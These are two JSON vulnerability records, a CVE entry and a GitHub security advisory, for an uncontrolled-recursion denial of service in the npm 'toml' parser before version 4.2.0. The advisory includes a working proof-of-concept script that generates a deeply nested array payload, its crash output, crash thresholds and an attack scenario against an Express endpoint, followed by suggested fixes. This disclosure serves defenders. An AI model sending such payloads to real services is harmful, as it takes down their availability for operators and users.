{
  "affected": [
    {
      "affectedData": [
        {
          "product": "toml-node",
          "vendor": "BinaryMuse",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.2.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "toml-node is a TOML parser for Node.js and the browser. Prior to 4.2.0, toml.parse() uses a Peggy 5.1.0 generated recursive-descent parser in lib/parser.js whose peg$parsevalue, peg$parsearray, and peg$parseinline_table_entry functions recurse through nested arrays and inline tables without a depth limit. A remote unauthenticated application parsing an attacker-controlled TOML document containing a few thousand nested arrays or inline tables can exhaust the Node.js call stack, raise an unexpected RangeError rather than the parser\u0027s SyntaxError, and terminate an unprotected request worker or process. The corresponding grammar source is src/toml.pegjs, where the generated parser must be bounded. This issue is fixed in version 4.2.0."
    }
  ],
  "id": "CVE-2026-77465",
  "lastModified": "2026-09-04T14:17:19.787",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-77465",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-04T13:28:19.437437Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-03T21:17:21.803",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/BinaryMuse/toml-node/commit/967b8b06754f3ecd9863cea118dc50792a8c353f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/BinaryMuse/toml-node/pull/72"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-82x6-q7mm-w9cf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-674"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "toml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77465"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T20:56:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n\n`toml.parse()` crashes with an uncaught `RangeError: Maximum call stack size exceeded` when parsing deeply nested arrays or inline tables. The parser is generated by **Peggy 5.1.0** (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with **no depth limit**, so nesting depth equal to the input depth exhausts Node\u0027s call stack.\n\nA small payload \u2014 a bare array nested a few thousand levels deep (**~5\u20136 KB**) \u2014 reliably crashes the process on a default Node.js configuration. `toml` has **~47 million monthly downloads**.\n\n---\n\n## Vulnerable Code\n\nThe parser is a **generated** recursive-descent parser (`lib/parser.js`, header: `// @generated by Peggy 5.1.0.`). The recursion sink is the mutual recursion between the `value`, `array`, and `inline_table` rule functions \u2014 none carry a depth counter:\n\n```javascript\n// lib/parser.js \u2014 peg$parsevalue() @ line 1008\nfunction peg$parsevalue() {\n  ...\n  s0 = peg$parsearray();          // line 1017  \u2190 value \u2192 array\n  if (s0 === peg$FAILED) {\n    s0 = peg$parseinline_table(); // line 1019  \u2190 value \u2192 inline_table\n  }\n  ...\n}\n\n// peg$parsearray() @ line 2879\nfunction peg$parsearray() {\n  ...\n  s3 = peg$parsevalue();          // line 2931  \u2190 array element \u2192 value (back-edge)\n  ...\n}\n\n// peg$parseinline_table() @ line 3066 \u2192 peg$parseinline_table_entry() @ line 3239\nfunction peg$parseinline_table_entry() {\n  ...\n  s5 = peg$parsevalue();          // line 3266  \u2190 inline-table value \u2192 value (back-edge)\n  ...\n}\n```\n\n**Recursion cycle** for `a=[[[ \u2026 ]]]` (bare nested arrays):\n\n```\ntoml.parse(src)\n  \u2192 peg$parsevalue()        # parser.js:1008\n      \u2192 peg$parsearray()     # parser.js:1017 / 2879\n          \u2192 peg$parsevalue() # parser.js:2931  \u2190 back-edge, per nested element\n              \u2192 \u2026            # depth == input nesting \u2192 RangeError, no guard\n```\n\nInline tables (`{arr=[ \u2026 ]}`, `{a={a= \u2026 }}`) reach the same cycle via `peg$parseinline_table` / `peg$parseinline_table_entry`. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (`src/toml.pegjs`) or in an input guard (see *Suggested Fix*).\n\n---\n\n## Confirmed PoC (toml 4.1.2, Node.js v24.16.0)\n\n**Setup:**\n\n```bash\nnpm install toml@4.1.2        # latest release; 4.1.1 and earlier are equally affected\n# Docker equivalent:\n# docker run --rm node:24 bash -c \"npm i -g toml \u003e/dev/null 2\u003e\u00261; node -e \u0027\u003cPoC below\u003e\u0027\"\n```\n\n**Reproduce** \u2014 save as `poc.js`, run `node poc.js`:\n\n```javascript\nconst toml = require(\u0027toml\u0027);\nconsole.log(\u0027version:\u0027, require(\u0027toml/package.json\u0027).version);  // 4.1.2\n\n// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)\nlet x = \u00271\u0027;\nfor (let i = 0; i \u003c 3000; i++) x = \u0027[\u0027 + x + \u0027]\u0027;\nconst payload = \u0027a=\u0027 + x;\nconsole.log(\u0027payload bytes:\u0027, payload.length);   // 6003\n\ntry {\n  toml.parse(payload);\n  console.log(\u0027no crash\u0027);\n} catch (e) {\n  console.log(\u0027CONFIRMED:\u0027, e.constructor.name + \u0027:\u0027, e.message.slice(0, 40));\n  console.log(\u0027is RangeError?\u0027, e instanceof RangeError,          // true\n              \u0027| is SyntaxError?\u0027, e instanceof SyntaxError);     // false\n}\n```\n\n**Expected output (vulnerable \u2014 actual run):**\n\n```\nversion: 4.1.2\npayload bytes: 6003\nCONFIRMED: RangeError: Maximum call stack size exceeded\nis RangeError? true | is SyntaxError? false\n```\n\n**Verified crash thresholds (fresh process, single parse, default Node 24 stack):**\n\n| Payload shape | Reliable crash depth | Payload size |\n|---------------|----------------------|--------------|\n| Bare nested array `a=[[ \u2026 ]]` | \u2265 ~2,500 | **~5 KB** (6 KB at depth 3000, used above) |\n| Inline table `{arr=[ \u2026 ]}` | \u2265 ~1,500 | ~12 KB |\n\n\u003e **Note on the exact threshold:** the precise crashing depth is not perfectly deterministic \u2014 it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured `--stack-size`. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.\n\n---\n\n## Realistic Attack Scenario\n\n```javascript\n// Node.js service parsing user-supplied TOML config\nconst express = require(\u0027express\u0027);\nconst toml = require(\u0027toml\u0027);\nconst app = express();\napp.use(express.text({ type: \u0027application/toml\u0027, limit: \u0027100kb\u0027 }));\n\napp.post(\u0027/config\u0027, (req, res) =\u003e {\n  try {\n    const config = toml.parse(req.body);   // \u2190 RangeError on ~6 KB nested payload\n    res.json({ status: \u0027ok\u0027 });\n  } catch (e) {\n    // toml only throws a peg$SyntaxError (e.name === \u0027SyntaxError\u0027, with e.line/e.column)\n    // on malformed input. A RangeError has neither, so this guard rethrows it:\n    if (e.line != null) return res.status(400).json({ error: e.message });\n    throw e;                                // RangeError propagates \u2192 uncaught \u2192 worker down\n  }\n});\n```\n\nAn unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). `toml.parse` overflows the stack and throws `RangeError`; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).\n\n\u003e The package exports **only** `parse` (`Object.keys(require(\u0027toml\u0027))` \u2192 `[\u0027parse\u0027]`); there is **no** `toml.SyntaxError`. Code written as `catch (e) { if (e instanceof toml.SyntaxError) \u2026 }` is itself broken (`instanceof undefined` throws), so applications generally cannot cleanly distinguish the DoS `RangeError` from a normal parse error.\n\n---\n\n## Impact\n\nAny Node.js application that calls `toml.parse()` on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5\u20136 KB) deeply nested payload. `toml.parse` is the package\u0027s only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With **~47 million monthly downloads** and **0 existing CVEs**, the exposure is broad.\n\n`RangeError` is a subclass of `Error` (not of the parser\u0027s `SyntaxError`), so it bypasses the usual \"is this a parse error?\" checks and propagates as an unexpected exception.\n\n---\n\n## Suggested Fix\n\nBecause `lib/parser.js` is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:\n\n**Option 1 \u2014 grammar-level depth guard (`src/toml.pegjs`), then re-run Peggy:**\n\n```javascript\n// In the grammar initializer:\n{ let depth = 0; const MAX_DEPTH = 500; }\n\n// Wrap the recursive `value` rule:\nvalue = \u0026{ if (++depth \u003e MAX_DEPTH) { error(\"TOML nesting too deep\"); } return true; }\n        v:(array / inline_table / ...) { depth--; return v; }\n```\n\n**Option 2 \u2014 entry-point guard in `index.js`** (reject pathological input before parsing):\n\n```javascript\nmodule.exports.parse = function (input) {\n  // cheap structural bound before the recursive parse\n  let depth = 0, max = 0;\n  for (const ch of input) {\n    if (ch === \u0027[\u0027 || ch === \u0027{\u0027) max = Math.max(max, ++depth);\n    else if (ch === \u0027]\u0027 || ch === \u0027}\u0027) depth--;\n  }\n  if (max \u003e 500) throw new Error(\u0027TOML nesting depth exceeds limit (500)\u0027);\n  return realParse(input);\n};\n```\n\n**Immediate mitigation (users, verified):** bound untrusted input length **and** bracket-nesting depth before calling `toml.parse()`, e.g. reject payloads whose maximum `[`/`{` nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).\n\n---\n\n## Comparison with Related Vulnerabilities\n\nSame CWE-674 class as the recursion-DoS findings in the PyPI `toml` package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is **generated by Peggy**, so the recursion lives in `peg$parsevalue`/`peg$parsearray`/`peg$parseinline_table` and cannot be fixed by editing a hand-written function \u2014 the earlier draft of this report incorrectly showed hand-written `parseValue(tokens, index)` functions that do not exist in the package.",
  "id": "GHSA-82x6-q7mm-w9cf",
  "modified": "2026-09-03T20:56:14Z",
  "published": "2026-09-03T20:56:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-82x6-q7mm-w9cf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BinaryMuse/toml-node/pull/72"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BinaryMuse/toml-node/commit/967b8b06754f3ecd9863cea118dc50792a8c353f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BinaryMuse/toml-node"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "toml-node: Uncontrolled Recursion"
}